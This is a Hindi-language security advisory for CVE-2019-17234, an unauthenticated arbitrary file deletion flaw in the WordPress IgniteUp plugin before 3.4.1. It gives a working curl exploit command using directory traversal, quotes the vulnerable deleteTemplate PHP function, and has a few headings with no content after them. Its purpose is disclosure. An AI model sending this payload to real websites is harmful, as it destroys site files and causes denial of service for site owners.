
Wordpress IgniteUp plugin < 3.4.1 बिना प्रमाणीकरण वाले उपयोगकर्ताओं को वेबसर्वर पर फ़ाइलों को मनमाने ढंग से हटाने की अनुमति देता है, जिससे संभावित रूप से DoS हो सकता है।
Wordpress IgniteUp प्लगइन v3.4 और इससे नीचे के संस्करण दूरस्थ अप्रमाणित उपयोगकर्ताओं को लक्ष्य वेबसर्वर पर किसी भी फ़ाइल को मनमाने ढंग से हटाने की अनुमति देता है, जिससे संभावित रूप से सेवा से इनकार का हमला हो सकता है।
भेद्यता की सूचना wordpress.org टीम को 20 सितंबर 2019 को दी गई थी और प्लगइन का नया संस्करण 3.4.1 8 नवंबर 2019 को जारी किया गया था।[3]
IgniteUp एक लोकप्रिय वर्डप्रेस प्लगइन है जो वेबसाइट लैंडिंग पेजों के सरल सेटअप और प्रबंधन के लिए उपयोग किया जाता है, ताकि उपयोगकर्ताओं को बताया जा सके कि साइट जल्द आ रही है, रखरखाव में है या निर्माणाधीन है।
प्लगइन में डिफ़ॉल्ट रूप से 5 मुफ्त टेम्पलेट आते हैं: believe,cleaner,glass,launcher,offline।
टेम्पलेट नामों को हाइलाइट किया गया है क्योंकि भेद्यता का शोषण करने के लिए वेबसर्वर पर एक वैध अनुरोध करने के लिए सही पैरामीटर [template-name] आवश्यक है।
[WARNING]
निम्नलिखित कमांड उदाहरण आपकी वर्डप्रेस वेबसाइट को तोड़ने के लिए पर्याप्त हो सकता है, इस मामले में IgniteUp प्लगइन कोर फ़ाइलों को हटा देगा।
curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php
dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php
[NOTE] ऊपर दिया गया कमांड प्लगइन के सापेक्ष पथ के अंदर डायरेक्टरी ट्रैवर्सल करता है, उचित अनुमतियों (वेबसर्वर डायरेक्टरी के लिए 755 और वेबसर्वर फाइलों के लिए 644) और chowner (www-data, apache उपयोगकर्ता आदि) के साथ हमले की सीमा सर्वर रूट डायरेक्टरी (जैसे /var/www/html) तक सीमित है।
यह भेद्यता उत्पन्न करने वाला फंक्शन नीचे हाइलाइट किया गया है, संदर्भ फ़ाइल wp-content/plugins/igniteup/includes/class-coming-soon-creator.php पर पाई जा सकती है, जो नाम से ही स्पष्ट है, नए कस्टम टेम्पलेट्स के निर्माण और डिफ़ॉल्ट/निर्मित टेम्पलेट्स के विलोपन को संभालता है।
V3.4
add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
return;
$folder_name = $_POST['delete_template'];
$path = dirname(CSCS_FILE) . '/includes/templates/';
array_map('unlink', glob($path . $folder_name . '/*.*'));
rmdir($path . $folder_name);
unlink($path . '/' . $folder_name . '.php');
header('Location: ' . $_SERVER['REQUEST_URI']);
}
admin_init पहली पंक्ति पर एक वर्डप्रेस एक्शन हुक है। हुक्स[2] प्लगइन्स और थीम्स के वर्डप्रेस कोर के साथ इंटरेक्शन की नींव बनाते हैं, लेकिन कोर स्वयं भी इनका व्यापक उपयोग करता है।
दुर्भाग्य से, एक्शन हुक से संबद्ध फंक्शन, deleteTemplate(), में कोई प्रशासक/उपयोगकर्ता जांच नहीं है, यह पाठक को ऐसी कार्रवाई करने के पर्याप्त संकेत देता है, कोड को देखते हुए php POST पैरामीटर delete_template को पहचानना आसान है, यह admin_init हुक एक्शन के साथ मिलकर /wp-admin/admin-post.php इंटरफ़ेस के माध्यम से वेबसर्वर पर POST अनुरोध करने का प्रयास करने के लिए पर्याप्त ज्ञान है, जैसा कि एक्सप्लॉइट कोड अनुच्छेद में बताया गया है।
[PERSONAL NOTE] एक वर्डप्रेस-एडमिन उपयोगकर्ता के दृष्टिकोण से प्लगइन के सामान्य व्यवहार का विश्लेषण करने पर, इस फंक्शन को ढूंढना काफी अजीब है (मुझे लगता है कि यह पुराने संस्करणों से बचा हुआ है), ऐसा इसलिए क्योंकि:
यहाँ एक नमूना है कि जब मैं एक टेम्पलेट को DirStroy करने का प्रयास करता हूँ तो unlink के दौरान क्या होता है।
admin-ajax.php परीक्षण v3.4.1 तुलना
[1] v3.4.1 changelog- https://it.wordpress.org/plugins/igniteup/#developers
[2] Wordpress hooks- https://developer.wordpress.org/plugins/hooks/
[3] CVE-2019-17234 NIST reference- https://nvd.nist.gov/vuln/detail/CVE-2019-17234